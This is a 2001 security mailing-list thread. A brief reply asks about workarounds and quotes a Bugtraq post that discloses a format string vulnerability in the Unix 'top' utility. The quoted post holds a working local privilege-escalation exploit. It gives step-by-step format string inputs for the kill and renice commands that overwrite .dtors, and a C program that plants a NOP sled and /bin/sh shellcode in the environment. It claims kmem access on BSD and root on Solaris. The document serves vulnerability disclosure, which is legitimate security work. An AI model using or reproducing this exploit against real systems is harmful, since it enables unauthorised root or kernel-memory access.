ahoj!

is this somehow addressed at the moment? any suggestions for
workarounds?

ve

-----Original Message-----
From: SeungHyun Seo [mailto:s1980914inhavision.inha.ac.kr]
Sent: Wednesday, July 25, 2001 12:24 PM
To: bugtraqsecurityfocus.com
Subject: top format string bug exploit code (exploitable)

hi.

It still seems to be affected under 3.5beta9 (including this version)
someone said it's not the problem of exploitable vulnerability about 8
month ago ,
but it's possible to exploit though situation is difficult.
following code and some procedure comments demonstrate it.

possible to get kmem priviledge in the XXXXBSD which is still not
patched,
possible to get root priviledge in solaris .
( have to guess return address in solaris, cuz of 0x08040000 .text
region occurs segfault.)

i didn't test it on all other systems ... so check your systems now and
if possible , do patch !

/*
 * freebsd x86 top exploit
 * affected under top-3.5beta9 ( including this version )
 *
 * 1. get the address of .dtors from /usr/bin/top using objdump ,
 *
 * 'objdump -s -j .dtors /usr/bin/top'
 *
 * 2. divide it into four parts, and set it up into an environment
variable like "XSEO="
 *
 * 3. run top, then find "your parted addresses from "kill" or "renice"
command like this
 *
 * 'k %200$p' or 'r 2000 %200$p'
 *
 * 4. do exploit !
 *
 * 'k %190u%230$hn' <== 0xbf (4)
 * 'k %190u%229$hn' <== 0xbf (3)
 * 'k %214u%228$hn' <== 0xd7 (2)
 * 'k %118u%227$hn' <== 0x77 (1)
 *
 * truefinder , seoigrus.inha.ac.kr
 * thx mat, labman, zen-parse
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x90
#define BUFSIZE 2048

char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming
strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */

char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */

int
main(void)
{
        char scbuf[BUFSIZE];
        char *scp;

        scp = (char*)scbuf;
        memset( scbuf, NOP, BUFSIZE );

        scp += ( BUFSIZE - strlen(sc) - 1);
        memcpy( scp, sc ,strlen(sc));

        scbuf[ BUFSIZE - 1] = '\0';

        memcpy( scbuf, "EGG=", 4);

        putenv(fmt);
        putenv(scbuf);

        system("/bin/bash");
}

++
Seo SeungHyun, Inha University Group of Research for Unix Security
IGRUS / khdp.org , Host / Network Security Laboratory, 4-207
[e-mail] seoigrus.inha.ac.kr , [Office] +82-32-860-8676 ( ROK )

To Unsubscribe: send mail to majordomoFreeBSD.org
with "unsubscribe freebsd-security" in the body of the message

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]